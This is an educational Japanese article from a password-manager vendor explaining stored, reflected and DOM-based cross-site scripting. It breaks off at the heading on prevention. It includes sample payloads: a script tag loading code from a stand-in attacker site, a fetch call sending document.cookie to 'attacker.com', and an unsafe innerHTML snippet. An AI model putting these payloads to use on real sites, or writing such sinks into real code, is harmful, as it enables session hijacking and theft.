クロスサイトスクリプティング（XSS）とは？攻撃手法と防御策をわかりやすく解説

TeamPasswordでは、真のセキュリティは、堅牢な技術と知識を備えたユーザーという両方の基盤の上に築かれるものだと考えています。お客様の極めて機密性の高い認証情報を預かる者として、私たちは絶えず変化し続けるデジタル脅威の情勢に対し、常に先手を打つ姿勢を貫いています。パスワードマネージャーは重要な第一の防衛線ではありますが、それは広範なセキュリティ対策の一部に過ぎません。本記事では、Webセキュリティの技術的な側面を明らかにし、開発者が高度な攻撃に対してどのような防御策を講じているか、また、サイバー犯罪者の手にデータが渡らないよう、皆様ご自身のセキュリティ意識をどのように高めることができるかを探っていきます。

クロスサイトスクリプティング（XSS）とは？

クロスサイトスクリプティング（XSS）とは、攻撃者が悪意のあるスクリプトをコンテンツに埋め込み、そのコンテンツが他のユーザーに配信されるという脆弱性です。ブラウザは、そのスクリプトを「信頼できる」Webサイトからのものだと認識するため、コードを実行してしまいます。その結果、攻撃者はアクセス制御を回避したり、セッショントークンを盗んだり、ページを改ざんしたりすることが可能になります。

XSSはどのように機能するのか？

XSSは、Webアプリケーションが適切な検証やエスケープを行わずに、信頼できないデータをWebページ内に含めてしまうときに発生します。XSS攻撃には主に3つのカテゴリがあります。

1. Stored（蓄積型）XSS

これは最も危険な形態のXSSです。悪意のあるスクリプトがターゲットサーバー上に恒久的に保存されます（例：データベース、コメント欄、ユーザープロファイルなど）。被害者がそのページを閲覧すると、スクリプトは自動的に実行されます。

例：攻撃者がフォーラムに次のようなコメントを投稿する：

The weather is fantastic today! <script src="https://attacker-site.com/steal.js"></script>

そのフォーラムスレッドを読み込むすべてのユーザーは、知らないうちに steal.js を実行してしまい、セッションCookieが攻撃者に直接送信される可能性があります。

2. Reflected（反射型）XSS

反射型XSSでは、スクリプトはWebサーバーから被害者のブラウザへ「反射（リフレクト）」されます。これは通常、URLパラメータやフォーム送信を通じて発生します。スクリプトはサーバーに保存されず、リンク（多くの場合フィッシングメールやSNS経由）によって被害者に届けられます。

例：攻撃者が検索ページ用に悪意のあるリンクを作成する：

https://insecure-site.com/search?q=<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

被害者がこのリンクをクリックすると、Webサイトがスクリプトをページ上に「反射」させ（例：「You searched for... [script]」）、ブラウザがそれを実行します。

3. DOMベースXSS

DOMベースXSSは、より現代的な変種であり、攻撃全体がクライアント側のコード内で完結します。サーバーはまったく関与しないこともあります。アプリケーションのクライアント側コードが「安全でない」ソースからのデータを安全でない方法で扱うときに、悪意のあるスクリプトが実行されます（例：URLフラグメントをそのままページに書き込む場合など）。

例：あるサイトがURLハッシュに基づいてユーザーを歓迎する処理をしている場合：

var name = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('welcome').innerHTML = "Hello, " + name;

攻撃者は、末尾に #<img src=x onerror=alert(1)> を付けたリンクを送ることができ、ユーザーのブラウザ内で完全にスクリプトが実行されます。

---

現代の戦略：XSSをどのように防ぐか